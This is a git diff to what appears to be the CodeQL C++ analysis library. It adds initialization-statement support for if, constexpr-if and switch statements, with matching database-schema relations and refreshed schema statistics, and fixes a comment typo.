--- a/cpp/ql/lib/semmle/code/cpp/security/Encryption.qll
+++ b/cpp/ql/lib/semmle/code/cpp/security/Encryption.qll
@@ -59,7 +59,7 @@ predicate isInsecureEncryption(string name) { name.regexpMatch(getInsecureAlgori
 /**
  * Holds if there is additional evidence that `name` looks like it might be
  * related to operations with an encyption algorithm, besides the name of a
- * specific algorithm. This can be used in conjuction with
+ * specific algorithm. This can be used in conjunction with
  * `isInsecureEncryption` to produce a stronger heuristic.
  */
 bindingset[name]
diff --git a/cpp/ql/lib/semmle/code/cpp/security/Overflow.qll b/cpp/ql/lib/semmle/code/cpp/security/Overflow.qll
index 32428cd30a7..4d6d22c086a 100644
--- a/cpp/ql/lib/semmle/code/cpp/security/Overflow.qll
+++ b/cpp/ql/lib/semmle/code/cpp/security/Overflow.qll
@@ -5,8 +5,6 @@
 
 import cpp
 import semmle.code.cpp.controlflow.Dominance
-// `GlobalValueNumbering` is only imported to prevent IR re-evaluation.
-private import semmle.code.cpp.valuenumbering.GlobalValueNumbering
 import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis
 import semmle.code.cpp.rangeanalysis.RangeAnalysisUtils
 import semmle.code.cpp.controlflow.Guards
diff --git a/cpp/ql/lib/semmle/code/cpp/stmts/Stmt.qll b/cpp/ql/lib/semmle/code/cpp/stmts/Stmt.qll
index ef311e6fc45..7ccd9f797dd 100644
--- a/cpp/ql/lib/semmle/code/cpp/stmts/Stmt.qll
+++ b/cpp/ql/lib/semmle/code/cpp/stmts/Stmt.qll
@@ -213,6 +213,26 @@ class ConditionalStmt extends ControlStructure, TConditionalStmt { }
 class IfStmt extends ConditionalStmt, @stmt_if {
   override string getAPrimaryQlClass() { result = "IfStmt" }
 
+  /**
+   * Gets the initialization statement of this 'if' statement, if any.
+   *
+   * For example, for
+   * ```
+   * if (int x = y; b) { f(); }
+   * ```
+   * the result is `int x = y;`.
+   *
+   * Does not hold if the initialization statement is missing or an empty statement, as in
+   * ```
+   * if (b) { f(); }
+   * ```
+   * or
+   * ```
+   * if (; b) { f(); }
+   * ```
+   */
+  Stmt getInitialization() { if_initialization(underlyingElement(this), unresolveElement(result)) }
+
   /**
    * Gets the condition expression of this 'if' statement.
    *
@@ -222,7 +242,7 @@ class IfStmt extends ConditionalStmt, @stmt_if {
    * ```
    * the result is `b`.
    */
-  Expr getCondition() { result = this.getChild(0) }
+  Expr getCondition() { result = this.getChild(1) }
 
   override Expr getControllingExpr() { result = this.getCondition() }
 
@@ -299,6 +319,28 @@ class IfStmt extends ConditionalStmt, @stmt_if {
 class ConstexprIfStmt extends ConditionalStmt, @stmt_constexpr_if {
   override string getAPrimaryQlClass() { result = "ConstexprIfStmt" }
 
+  /**
+   * Gets the initialization statement of this 'constexpr if' statement, if any.
+   *
+   * For example, for
+   * ```
+   * if constexpr (int x = y; b) { f(); }
+   * ```
+   * the result is `int x = y;`.
+   *
+   * Does not hold if the initialization statement is missing or an empty statement, as in
+   * ```
+   * if constexpr (b) { f(); }
+   * ```
+   * or
+   * ```
+   * if constexpr (; b) { f(); }
+   * ```
+   */
+  Stmt getInitialization() {
+    constexpr_if_initialization(underlyingElement(this), unresolveElement(result))
+  }
+
   /**
    * Gets the condition expression of this 'constexpr if' statement.
    *
@@ -308,7 +350,7 @@ class ConstexprIfStmt extends ConditionalStmt, @stmt_constexpr_if {
    * ```
    * the result is `b`.
    */
-  Expr getCondition() { result = this.getChild(0) }
+  Expr getCondition() { result = this.getChild(1) }
 
   override Expr getControllingExpr() { result = this.getCondition() }
 
@@ -926,7 +968,7 @@ class ForStmt extends Loop, @stmt_for {
    *
    * Does not hold if the initialization statement is an empty statement, as in
    * ```
-   * for (; i < 10; i++) { j++ }
+   * for (; i < 10; i++) { j++; }
    * ```
    */
   Stmt getInitialization() { for_initialization(underlyingElement(this), unresolveElement(result)) }
@@ -1470,6 +1512,28 @@ class DefaultCase extends SwitchCase {
 class SwitchStmt extends ConditionalStmt, @stmt_switch {
   override string getAPrimaryQlClass() { result = "SwitchStmt" }
 
+  /**
+   * Gets the initialization statement of this 'switch' statement, if any.
+   *
+   * For example, for
+   * ```
+   * switch (int x = y; b) { }
+   * ```
+   * the result is `int x = y;`.
+   *
+   * Does not hold if the initialization statement is missing or an empty statement, as in
+   * ```
+   * switch (b) { }
+   * ```
+   * or
+   * ```
+   * switch (; b) { }
+   * ```
+   */
+  Stmt getInitialization() {
+    switch_initialization(underlyingElement(this), unresolveElement(result))
+  }
+
   /**
    * Gets the expression that this 'switch' statement switches on.
    *
@@ -1485,7 +1549,7 @@ class SwitchStmt extends ConditionalStmt, @stmt_switch {
    * ```
    * the result is `i`.
    */
-  Expr getExpr() { result = this.getChild(0) }
+  Expr getExpr() { result = this.getChild(1) }
 
   override Expr getControllingExpr() { result = this.getExpr() }
 
diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme b/cpp/ql/lib/semmlecode.cpp.dbscheme
index e9a518baf14..cf72c8898d1 100644
--- a/cpp/ql/lib/semmlecode.cpp.dbscheme
+++ b/cpp/ql/lib/semmlecode.cpp.dbscheme
@@ -1863,6 +1863,11 @@ variable_vla(
     int decl: @stmt_vla_decl ref
 );
 
+if_initialization(
+    unique int if_stmt: @stmt_if ref,
+    int init_id: @stmt ref
+);
+
 if_then(
     unique int if_stmt: @stmt_if ref,
     int then_id: @stmt ref
@@ -1873,6 +1878,11 @@ if_else(
     int else_id: @stmt ref
 );
 
+constexpr_if_initialization(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int init_id: @stmt ref
+);
+
 constexpr_if_then(
     unique int constexpr_if_stmt: @stmt_constexpr_if ref,
     int then_id: @stmt ref
@@ -1893,6 +1903,11 @@ do_body(
     int body_id: @stmt ref
 );
 
+switch_initialization(
+    unique int switch_stmt: @stmt_switch ref,
+    int init_id: @stmt ref
+);
+
 #keyset[switch_stmt, index]
 switch_case(
     int switch_stmt: @stmt_switch ref,
diff --git a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats
index 472bfd55aaf..52676255dbd 100644
--- a/cpp/ql/lib/semmlecode.cpp.dbscheme.stats
+++ b/cpp/ql/lib/semmlecode.cpp.dbscheme.stats
@@ -2,7 +2,7 @@
     <typesizes>
         <e>
             <k>@compilation</k>
-            <v>9999</v>
+            <v>9980</v>
         </e>
         <e>
             <k>@externalDataElement</k>
@@ -18,67 +18,67 @@
         </e>
         <e>
             <k>@location_stmt</k>
-            <v>3805195</v>
-        </e>
-        <e>
-            <k>@location_default</k>
-            <v>30199622</v>
-        </e>
-        <e>
-            <k>@location_expr</k>
-            <v>13127189</v>
+            <v>3805462</v>
         </e>
         <e>
             <k>@diagnostic</k>
-            <v>667106</v>
+            <v>632933</v>
         </e>
         <e>
             <k>@file</k>
-            <v>124610</v>
+            <v>124189</v>
         </e>
         <e>
             <k>@folder</k>
-            <v>15576</v>
+            <v>15994</v>
+        </e>
+        <e>
+            <k>@location_expr</k>
+            <v>13128112</v>
+        </e>
+        <e>
+            <k>@location_default</k>
+            <v>30128761</v>
         </e>
         <e>
             <k>@macroinvocation</k>
-            <v>34062185</v>
+            <v>33895024</v>
         </e>
         <e>
             <k>@function</k>
-            <v>4759741</v>
+            <v>4726273</v>
         </e>
         <e>
             <k>@fun_decl</k>
-            <v>5131684</v>
-        </e>
-        <e>
-            <k>@type_decl</k>
-            <v>3292736</v>
-        </e>
-        <e>
-            <k>@namespace_decl</k>
-            <v>307863</v>
-        </e>
-        <e>
-            <k>@using</k>
-            <v>375719</v>
-        </e>
-        <e>
-            <k>@static_assert</k>
-            <v>130790</v>
+            <v>5096962</v>
         </e>
         <e>
             <k>@var_decl</k>
-            <v>8586319</v>
+            <v>8543232</v>
+        </e>
+        <e>
+            <k>@type_decl</k>
+            <v>3283977</v>
+        </e>
+        <e>
+            <k>@namespace_decl</k>
+            <v>306979</v>
+        </e>
+        <e>
+            <k>@using</k>
+            <v>374921</v>
+        </e>
+        <e>
+            <k>@static_assert</k>
+            <v>130414</v>
         </e>
         <e>
             <k>@parameter</k>
-            <v>6696867</v>
+            <v>6660155</v>
         </e>
         <e>
             <k>@membervariable</k>
-            <v>1050009</v>
+            <v>1050083</v>
         </e>
         <e>
             <k>@globalvariable</k>
@@ -86,63 +86,63 @@
         </e>
         <e>
             <k>@localvariable</k>
-            <v>581746</v>
+            <v>581698</v>
         </e>
         <e>
             <k>@enumconstant</k>
-            <v>240596</v>
+            <v>240613</v>
         </e>
         <e>
             <k>@builtintype</k>
-            <v>22184</v>
+            <v>22109</v>
         </e>
         <e>
             <k>@derivedtype</k>
-            <v>4456239</v>
+            <v>4413446</v>
         </e>
         <e>
             <k>@decltype</k>
-            <v>31152</v>
+            <v>31047</v>
         </e>
         <e>
             <k>@usertype</k>
-            <v>5362968</v>
+            <v>5342989</v>
         </e>
         <e>
             <k>@mangledname</k>
-            <v>1733994</v>
+            <v>1730792</v>
         </e>
         <e>
             <k>@type_mention</k>
-            <v>4011226</v>
+            <v>4011508</v>
         </e>
         <e>
             <k>@routinetype</k>
-            <v>543059</v>
+            <v>546982</v>
         </e>
         <e>
             <k>@ptrtomember</k>
-            <v>38232</v>
+            <v>38103</v>
         </e>
         <e>
             <k>@specifier</k>
-            <v>25016</v>
+            <v>24932</v>
         </e>
         <e>
             <k>@gnuattribute</k>
-            <v>663644</v>
+            <v>664228</v>
         </e>
         <e>
             <k>@stdattribute</k>
-            <v>468476</v>
+            <v>469328</v>
         </e>
         <e>
             <k>@alignas</k>
-            <v>8968</v>
+            <v>8937</v>
         </e>
         <e>
             <k>@declspec</k>
-            <v>238528</v>
+            <v>238544</v>
         </e>
         <e>
             <k>@msattribute</k>
@@ -150,15 +150,15 @@
         </e>
         <e>
             <k>@attribute_arg_token</k>
-            <v>25960</v>
+            <v>25402</v>
         </e>
         <e>
             <k>@attribute_arg_constant</k>
-            <v>324742</v>
+            <v>326469</v>
         </e>
         <e>
             <k>@attribute_arg_type</k>
-            <v>1535</v>
+            <v>470</v>
         </e>
         <e>
             <k>@attribute_arg_empty</k>
@@ -166,99 +166,207 @@
         </e>
         <e>
             <k>@derivation</k>
-            <v>397280</v>
+            <v>402388</v>
         </e>
         <e>
             <k>@frienddecl</k>
-            <v>710038</v>
+            <v>715075</v>
         </e>
         <e>
             <k>@comment</k>
-            <v>9024167</v>
+            <v>9004230</v>
         </e>
         <e>
             <k>@namespace</k>
-            <v>12744</v>
+            <v>12701</v>
         </e>
         <e>
             <k>@specialnamequalifyingelement</k>
-            <v>472</v>
+            <v>470</v>
         </e>
         <e>
             <k>@namequalifier</k>
-            <v>1593457</v>
+            <v>1618961</v>
         </e>
         <e>
             <k>@value</k>
-            <v>10645398</v>
+            <v>10646146</v>
         </e>
         <e>
             <k>@initialiser</k>
-            <v>1736804</v>
+            <v>1731850</v>
+        </e>
+        <e>
+            <k>@lambdacapture</k>
+            <v>28224</v>
+        </e>
+        <e>
+            <k>@stmt_expr</k>
+            <v>1480414</v>
+        </e>
+        <e>
+            <k>@stmt_if</k>
+            <v>723174</v>
+        </e>
+        <e>
+            <k>@stmt_while</k>
+            <v>30207</v>
+        </e>
+        <e>
+            <k>@stmt_label</k>
+            <v>53046</v>
+        </e>
+        <e>
+            <k>@stmt_return</k>
+            <v>1306346</v>
+        </e>
+        <e>
+            <k>@stmt_block</k>
+            <v>1446530</v>
+        </e>
+        <e>
+            <k>@stmt_end_test_while</k>
+            <v>148604</v>
+        </e>
+        <e>
+            <k>@stmt_for</k>
+            <v>61324</v>
+        </e>
+        <e>
+            <k>@stmt_switch_case</k>
+            <v>191408</v>
+        </e>
+        <e>
+            <k>@stmt_switch</k>
+            <v>20901</v>
+        </e>
+        <e>
+            <k>@stmt_try_block</k>
+            <v>42701</v>
+        </e>
+        <e>
+            <k>@stmt_decl</k>
+            <v>608508</v>
+        </e>
+        <e>
+            <k>@stmt_empty</k>
+            <v>193487</v>
+        </e>
+        <e>
+            <k>@stmt_continue</k>
+            <v>22507</v>
+        </e>
+        <e>
+            <k>@stmt_break</k>
+            <v>102234</v>
+        </e>
+        <e>
+            <k>@stmt_range_based_for</k>
+            <v>8467</v>
+        </e>
+        <e>
+            <k>@stmt_handler</k>
+            <v>59432</v>
+        </e>
+        <e>
+            <k>@stmt_constexpr_if</k>
+            <v>52508</v>
+        </e>
+        <e>
+            <k>@stmt_goto</k>
+            <v>110490</v>
+        </e>
+        <e>
+            <k>@stmt_asm</k>
+            <v>110589</v>
+        </e>
+        <e>
+            <k>@stmt_microsoft_try</k>
+            <v>163</v>
+        </e>
+        <e>
+            <k>@stmt_set_vla_size</k>
+            <v>26</v>
+        </e>
+        <e>
+            <k>@stmt_vla_decl</k>
+            <v>21</v>
+        </e>
+        <e>
+            <k>@stmt_assigned_goto</k>
+            <v>9059</v>
+        </e>
+        <e>
+            <k>@stmt_co_return</k>
+            <v>2</v>
         </e>
         <e>
             <k>@delete_array_expr</k>
-            <v>1413</v>
+            <v>1410</v>
         </e>
         <e>
             <k>@new_array_expr</k>
-            <v>5113</v>
+            <v>5099</v>
         </e>
         <e>
             <k>@ctordirectinit</k>
-            <v>111984</v>
+            <v>112813</v>
         </e>
         <e>
             <k>@ctorvirtualinit</k>
-            <v>6546</v>
+            <v>6534</v>
         </e>
         <e>
             <k>@ctorfieldinit</k>
-            <v>199374</v>
+            <v>200789</v>
         </e>
         <e>
             <k>@ctordelegatinginit</k>
-            <v>7857</v>
+            <v>3347</v>
         </e>
         <e>
             <k>@dtordirectdestruct</k>
-            <v>41421</v>
+            <v>41715</v>
         </e>
         <e>
             <k>@dtorvirtualdestruct</k>
-            <v>4093</v>
+            <v>4122</v>
         </e>
         <e>
             <k>@dtorfielddestruct</k>
-            <v>41351</v>
+            <v>41644</v>
         </e>
         <e>
             <k>@static_cast</k>
-            <v>212170</v>
+            <v>211822</v>
         </e>
         <e>
             <k>@reinterpret_cast</k>
-            <v>30881</v>
+            <v>30813</v>
         </e>
         <e>
             <k>@const_cast</k>
-            <v>35398</v>
+            <v>35320</v>
+        </e>
+        <e>
+            <k>@dynamic_cast</k>
+            <v>1040</v>
         </e>
         <e>
             <k>@c_style_cast</k>
-            <v>4209375</v>
+            <v>4209393</v>
         </e>
         <e>
             <k>@lambdaexpr</k>
-            <v>21712</v>
+            <v>21639</v>
         </e>
         <e>
             <k>@param_ref</k>
-            <v>403726</v>
+            <v>375289</v>
         </e>
         <e>
             <k>@errorexpr</k>
-            <v>54470</v>
+            <v>46823</v>
         </e>
         <e>
             <k>@address_of</k>
@@ -266,143 +374,139 @@
         </e>
         <e>
             <k>@reference_to</k>
-            <v>1615323</v>
+            <v>1596143</v>
         </e>
         <e>
             <k>@indirect</k>
-            <v>292094</v>
+            <v>292115</v>
         </e>
         <e>
             <k>@ref_indirect</k>
-            <v>1941936</v>
+            <v>1934537</v>
         </e>
         <e>
             <k>@array_to_pointer</k>
-            <v>1424786</v>
+            <v>1424883</v>
         </e>
         <e>
             <k>@vacuous_destructor_call</k>
-            <v>8711</v>
+            <v>8138</v>
         </e>
         <e>
             <k>@parexpr</k>
-            <v>3572304</v>
+            <v>3572547</v>
         </e>
         <e>
             <k>@arithnegexpr</k>
-            <v>650877</v>
-        </e>
-        <e>
-            <k>@unaryplusexpr</k>
-            <v>2903</v>
+            <v>650874</v>
         </e>
         <e>
             <k>@complementexpr</k>
-            <v>27785</v>
+            <v>27787</v>
         </e>
         <e>
             <k>@notexpr</k>
-            <v>277973</v>
+            <v>277992</v>
         </e>
         <e>
             <k>@postincrexpr</k>
-            <v>61769</v>
+            <v>61774</v>
         </e>
         <e>
             <k>@postdecrexpr</k>
-            <v>41857</v>
+            <v>41860</v>
         </e>
         <e>
             <k>@preincrexpr</k>
-            <v>70302</v>
+            <v>70307</v>
         </e>
         <e>
             <k>@predecrexpr</k>
-            <v>26107</v>
+            <v>26108</v>
         </e>
         <e>
             <k>@conditionalexpr</k>
-            <v>654457</v>
+            <v>654502</v>
         </e>
         <e>
             <k>@addexpr</k>
-            <v>400330</v>
+            <v>400358</v>
         </e>
         <e>
             <k>@subexpr</k>
-            <v>339317</v>
+            <v>339340</v>
         </e>
         <e>
             <k>@mulexpr</k>
-            <v>305870</v>
+            <v>305891</v>
         </e>
         <e>
             <k>@divexpr</k>
-            <v>133721</v>
+            <v>133731</v>
         </e>
         <e>
             <k>@remexpr</k>
-            <v>15707</v>
+            <v>15819</v>
         </e>
         <e>
             <k>@paddexpr</k>
-            <v>86499</v>
+            <v>86505</v>
         </e>
         <e>
             <k>@psubexpr</k>
-            <v>49678</v>
+            <v>49681</v>
         </e>
         <e>
             <k>@pdiffexpr</k>
-            <v>35608</v>
+            <v>35529</v>
         </e>
         <e>
             <k>@lshiftexpr</k>
-            <v>562948</v>
+            <v>562988</v>
         </e>
         <e>
             <k>@rshiftexpr</k>
-            <v>141607</v>
+            <v>141617</v>
         </e>
         <e>
             <k>@andexpr</k>
-            <v>491783</v>
+            <v>491818</v>
         </e>
         <e>
             <k>@orexpr</k>
-            <v>146257</v>
+            <v>146267</v>
         </e>
         <e>
             <k>@xorexpr</k>
-            <v>53934</v>
+            <v>53938</v>
         </e>
         <e>
             <k>@eqexpr</k>
-            <v>468840</v>
+            <v>468873</v>
         </e>
         <e>
             <k>@neexpr</k>
-            <v>300391</v>
+            <v>300411</v>
         </e>
         <e>
             <k>@gtexpr</k>
-            <v>101009</v>
+            <v>100669</v>
         </e>
         <e>
             <k>@ltexpr</k>
-            <v>108562</v>
+            <v>106314</v>
         </e>
         <e>
             <k>@geexpr</k>
-            <v>58985</v>
+            <v>58989</v>
         </e>
         <e>
             <k>@leexpr</k>
-            <v>212126</v>
+            <v>212141</v>
         </e>
         <e>
             <k>@assignexpr</k>
-            <v>933354</v>
+            <v>933419</v>
         </e>
         <e>
             <k>@assignaddexpr</k>
@@ -410,19 +514,19 @@
         </e>
         <e>
             <k>@assignsubexpr</k>
-            <v>15624</v>
+            <v>11157</v>
         </e>
         <e>
             <k>@assignmulexpr</k>
-            <v>7586</v>
+            <v>7170</v>
         </e>
         <e>
             <k>@assigndivexpr</k>
-            <v>4971</v>
+            <v>4972</v>
         </e>
         <e>
             <k>@assignremexpr</k>
-            <v>1625</v>
+            <v>419</v>
         </e>
         <e>
             <k>@assignlshiftexpr</k>
@@ -434,123 +538,119 @@
         </e>
         <e>
             <k>@assignandexpr</k>
-            <v>5780</v>
+            <v>4852</v>
         </e>
         <e>
             <k>@assignorexpr</k>
-            <v>23853</v>
+            <v>23851</v>
         </e>
         <e>
             <k>@assignxorexpr</k>
-            <v>21802</v>
+            <v>21804</v>
         </e>
         <e>
             <k>@assignpaddexpr</k>
-            <v>13576</v>
-        </e>
-        <e>
-            <k>@assignpsubexpr</k>
-            <v>1148</v>
+            <v>13577</v>
         </e>
         <e>
             <k>@andlogicalexpr</k>
-            <v>248991</v>
+            <v>249008</v>
         </e>
         <e>
             <k>@orlogicalexpr</k>
-            <v>863957</v>
+            <v>864018</v>
         </e>
         <e>
             <k>@commaexpr</k>
-            <v>181070</v>
+            <v>181539</v>
         </e>
         <e>
             <k>@subscriptexpr</k>
-            <v>367945</v>
+            <v>367915</v>
         </e>
         <e>
             <k>@callexpr</k>
-            <v>310110</v>
+            <v>309063</v>
         </e>
         <e>
             <k>@vastartexpr</k>
-            <v>3713</v>
+            <v>3703</v>
         </e>
         <e>
             <k>@vaendexpr</k>
-            <v>2832</v>
+            <v>2822</v>
+        </e>
+        <e>
+            <k>@vacopyexpr</k>
+            <v>140</v>
         </e>
         <e>
             <k>@varaccess</k>
-            <v>6005942</v>
+            <v>6006364</v>
         </e>
         <e>
             <k>@thisaccess</k>
-            <v>1129204</v>
+            <v>1125933</v>
         </e>
         <e>
             <k>@new_expr</k>
-            <v>55240</v>
+            <v>47598</v>
         </e>
         <e>
             <k>@delete_expr</k>
-            <v>11649</v>
+            <v>11732</v>
         </e>
         <e>
             <k>@throw_expr</k>
-            <v>21806</v>
+            <v>21765</v>
         </e>
         <e>
             <k>@condition_decl</k>
-            <v>38495</v>
+            <v>38595</v>
         </e>
         <e>
             <k>@braced_init_list</k>
-            <v>1005</v>
+            <v>1008</v>
         </e>
         <e>
             <k>@type_id</k>
-            <v>36173</v>
+            <v>36430</v>
         </e>
         <e>
             <k>@runtime_sizeof</k>
-            <v>289248</v>
+            <v>289268</v>
         </e>
         <e>
             <k>@runtime_alignof</k>
-            <v>48208</v>
+            <v>48550</v>
         </e>
         <e>
             <k>@sizeof_pack</k>
-            <v>5664</v>
+            <v>5644</v>
         </e>
         <e>
             <k>@routineexpr</k>
-            <v>3065607</v>
+            <v>3047613</v>
         </e>
         <e>
             <k>@type_operand</k>
-            <v>1125950</v>
-        </e>
-        <e>
-            <k>@offsetofexpr</k>
-            <v>20101</v>
+            <v>1126029</v>
         </e>
         <e>
             <k>@isemptyexpr</k>
-            <v>2310</v>
+            <v>2305</v>
         </e>
         <e>
             <k>@ispodexpr</k>
-            <v>637</v>
+            <v>636</v>
         </e>
         <e>
             <k>@hastrivialdestructor</k>
-            <v>472</v>
+            <v>470</v>
         </e>
         <e>
             <k>@literal</k>
-            <v>4351842</v>
+            <v>4350894</v>
         </e>
         <e>
             <k>@aggregateliteral</k>
@@ -558,31 +658,39 @@
         </e>
         <e>
             <k>@istrivialexpr</k>
-            <v>944</v>
+            <v>940</v>
         </e>
         <e>
             <k>@istriviallycopyableexpr</k>
-            <v>3776</v>
+            <v>3763</v>
+        </e>
+        <e>
+            <k>@isconstructibleexpr</k>
+            <v>2724</v>
         </e>
         <e>
             <k>@isfinalexpr</k>
-            <v>2100</v>
+            <v>2096</v>
         </e>
         <e>
             <k>@noexceptexpr</k>
-            <v>35718</v>
+            <v>23574</v>
         </e>
         <e>
             <k>@builtinaddressof</k>
-            <v>13189</v>
+            <v>13282</v>
         </e>
         <e>
             <k>@temp_init</k>
-            <v>759580</v>
+            <v>760683</v>
         </e>
         <e>
             <k>@assume</k>
-            <v>3209</v>
+            <v>3200</v>
+        </e>
+        <e>
+            <k>@unaryplusexpr</k>
+            <v>2903</v>
         </e>
         <e>
             <k>@conjugation</k>
@@ -628,6 +736,10 @@
             <k>@maxexpr</k>
             <v>1</v>
         </e>
+        <e>
+            <k>@assignpsubexpr</k>
+            <v>1148</v>
+        </e>
         <e>
             <k>@virtfunptrexpr</k>
             <v>1</v>
@@ -637,12 +749,12 @@
             <v>950</v>
         </e>
         <e>
-            <k>@vacopyexpr</k>
-            <v>139</v>
+            <k>@expr_stmt</k>
+            <v>94929</v>
         </e>
         <e>
-            <k>@expr_stmt</k>
-            <v>94922</v>
+            <k>@offsetofexpr</k>
+            <v>20103</v>
         </e>
         <e>
             <k>@hasassignexpr</k>
@@ -686,7 +798,7 @@
         </e>
         <e>
             <k>@isabstractexpr</k>
-            <v>17</v>
+            <v>18</v>
         </e>
         <e>
             <k>@isbaseofexpr</k>
@@ -694,15 +806,15 @@
         </e>
         <e>
             <k>@isclassexpr</k>
-            <v>1841</v>
+            <v>1835</v>
         </e>
         <e>
             <k>@isconvtoexpr</k>
-            <v>1155</v>
+            <v>1152</v>
         </e>
         <e>
             <k>@isenumexpr</k>
-            <v>1260</v>
+            <v>1257</v>
         </e>
         <e>
             <k>@ispolyexpr</k>
@@ -714,7 +826,7 @@
         </e>
         <e>
             <k>@typescompexpr</k>
-            <v>562376</v>
+            <v>562415</v>
         </e>
         <e>
             <k>@intaddrexpr</k>
@@ -722,23 +834,19 @@
         </e>
         <e>
             <k>@uuidof</k>
-            <v>20051</v>
+            <v>19994</v>
         </e>
         <e>
             <k>@foldexpr</k>
             <v>4</v>
         </e>
-        <e>
-            <k>@dynamic_cast</k>
-            <v>1042</v>
-        </e>
         <e>
             <k>@noopexpr</k>
             <v>37</v>
         </e>
         <e>
             <k>@istriviallyconstructibleexpr</k>
-            <v>2836</v>
+            <v>2829</v>
         </e>
         <e>
             <k>@isdestructibleexpr</k>
@@ -754,15 +862,15 @@
         </e>
         <e>
             <k>@istriviallyassignableexpr</k>
-            <v>525</v>
+            <v>524</v>
         </e>
         <e>
             <k>@isnothrowassignableexpr</k>
-            <v>2100</v>
+            <v>2096</v>
         </e>
         <e>
             <k>@isstandardlayoutexpr</k>
-            <v>840</v>
+            <v>838</v>
         </e>
         <e>
             <k>@isliteraltypeexpr</k>
@@ -780,13 +888,9 @@
             <k>@hasnothrowmoveassignexpr</k>
             <v>4</v>
         </e>
-        <e>
-            <k>@isconstructibleexpr</k>
-            <v>2731</v>
-        </e>
         <e>
             <k>@isnothrowconstructibleexpr</k>
-            <v>4831</v>
+            <v>4821</v>
         </e>
         <e>
             <k>@hasfinalizerexpr</k>
@@ -826,7 +930,7 @@
         </e>
         <e>
             <k>@builtinchooseexpr</k>
-            <v>9135</v>
+            <v>9136</v>
         </e>
         <e>
             <k>@vec_fill</k>
@@ -852,157 +956,53 @@
             <k>@co_yield</k>
             <v>1</v>
         </e>
-        <e>
-            <k>@lambdacapture</k>
-            <v>28320</v>
-        </e>
-        <e>
-            <k>@stmt_expr</k>
-            <v>1480310</v>
-        </e>
-        <e>
-            <k>@stmt_if</k>
-            <v>723123</v>
-        </e>
-        <e>
-            <k>@stmt_while</k>
-            <v>30265</v>
-        </e>
-        <e>
-            <k>@stmt_goto</k>
-            <v>110482</v>
-        </e>
-        <e>
-            <k>@stmt_label</k>
-            <v>53042</v>
-        </e>
-        <e>
-            <k>@stmt_return</k>
-            <v>1310769</v>
-        </e>
-        <e>
-            <k>@stmt_block</k>
-            <v>1451428</v>
-        </e>
-        <e>
-            <k>@stmt_end_test_while</k>
-            <v>148593</v>
-        </e>
-        <e>
-            <k>@stmt_for</k>
-            <v>61319</v>
-        </e>
-        <e>
-            <k>@stmt_switch_case</k>
-            <v>190914</v>
-        </e>
-        <e>
-            <k>@stmt_switch</k>
-            <v>20900</v>
-        </e>
-        <e>
-            <k>@stmt_asm</k>
-            <v>110581</v>
-        </e>
-        <e>
-            <k>@stmt_try_block</k>
-            <v>42591</v>
-        </e>
-        <e>
-            <k>@stmt_decl</k>
-            <v>609675</v>
-        </e>
-        <e>
-            <k>@stmt_empty</k>
-            <v>193503</v>
-        </e>
-        <e>
-            <k>@stmt_continue</k>
-            <v>22506</v>
-        </e>
-        <e>
-            <k>@stmt_break</k>
-            <v>102528</v>
-        </e>
-        <e>
-            <k>@stmt_range_based_for</k>
-            <v>8496</v>
-        </e>
-        <e>
-            <k>@stmt_handler</k>
-            <v>59279</v>
-        </e>
-        <e>
-            <k>@stmt_microsoft_try</k>
-            <v>163</v>
-        </e>
-        <e>
-            <k>@stmt_set_vla_size</k>
-            <v>26</v>
-        </e>
-        <e>
-            <k>@stmt_vla_decl</k>
-            <v>21</v>
-        </e>
-        <e>
-            <k>@stmt_assigned_goto</k>
-            <v>9058</v>
-        </e>
-        <e>
-            <k>@stmt_constexpr_if</k>
-            <v>52624</v>
-        </e>
-        <e>
-            <k>@stmt_co_return</k>
-            <v>2</v>
-        </e>
         <e>
             <k>@ppd_if</k>
-            <v>671197</v>
+            <v>672225</v>
         </e>
         <e>
             <k>@ppd_ifdef</k>
-            <v>266213</v>
+            <v>265314</v>
         </e>
         <e>
             <k>@ppd_ifndef</k>
-            <v>269517</v>
+            <v>268607</v>
         </e>
         <e>
             <k>@ppd_elif</k>
-            <v>25488</v>
+            <v>25402</v>
         </e>
         <e>
             <k>@ppd_else</k>
-            <v>211460</v>
+            <v>210746</v>
         </e>
         <e>
             <k>@ppd_endif</k>
-            <v>1206927</v>
+            <v>1206147</v>
         </e>
         <e>
             <k>@ppd_plain_include</k>
-            <v>314830</v>
+            <v>313767</v>
         </e>
         <e>
             <k>@ppd_define</k>
-            <v>2443222</v>
+            <v>2437824</v>
         </e>
         <e>
             <k>@ppd_undef</k>
-            <v>264325</v>
+            <v>262021</v>
         </e>
         <e>
             <k>@ppd_pragma</k>
-            <v>313333</v>
+            <v>312641</v>
         </e>
         <e>
             <k>@ppd_include_next</k>
-            <v>1888</v>
+            <v>1881</v>
         </e>
         <e>
             <k>@ppd_line</k>
-            <v>27783</v>
+            <v>27780</v>
         </e>
         <e>
             <k>@ppd_error</k>
@@ -1048,11 +1048,11 @@
     <stats>
         <relation>
             <name>compilations</name>
-            <cardinality>9999</cardinality>
+            <cardinality>9980</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>9999</v>
+                    <v>9980</v>
                 </e>
                 <e>
                     <k>cwd</k>
@@ -1070,7 +1070,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>9999</v>
+                                    <v>9980</v>
                                 </b>
                             </bs>
                         </hist>
@@ -1096,7 +1096,7 @@
         </relation>
         <relation>
             <name>compilation_args</name>
-            <cardinality>656105</cardinality>
+            <cardinality>656151</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
@@ -1104,11 +1104,11 @@
                 </e>
                 <e>
                     <k>num</k>
-                    <v>712</v>
+                    <v>713</v>
                 </e>
                 <e>
                     <k>arg</k>
-                    <v>34648</v>
+                    <v>34651</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -1346,7 +1346,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>32573</v>
+                                    <v>32576</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -1367,7 +1367,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>33435</v>
+                                    <v>33438</v>
                                 </b>
                                 <b>
                                     <a>2</a>
@@ -1382,7 +1382,7 @@
         </relation>
         <relation>
             <name>compilation_compiling_files</name>
-            <cardinality>11494</cardinality>
+            <cardinality>11495</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
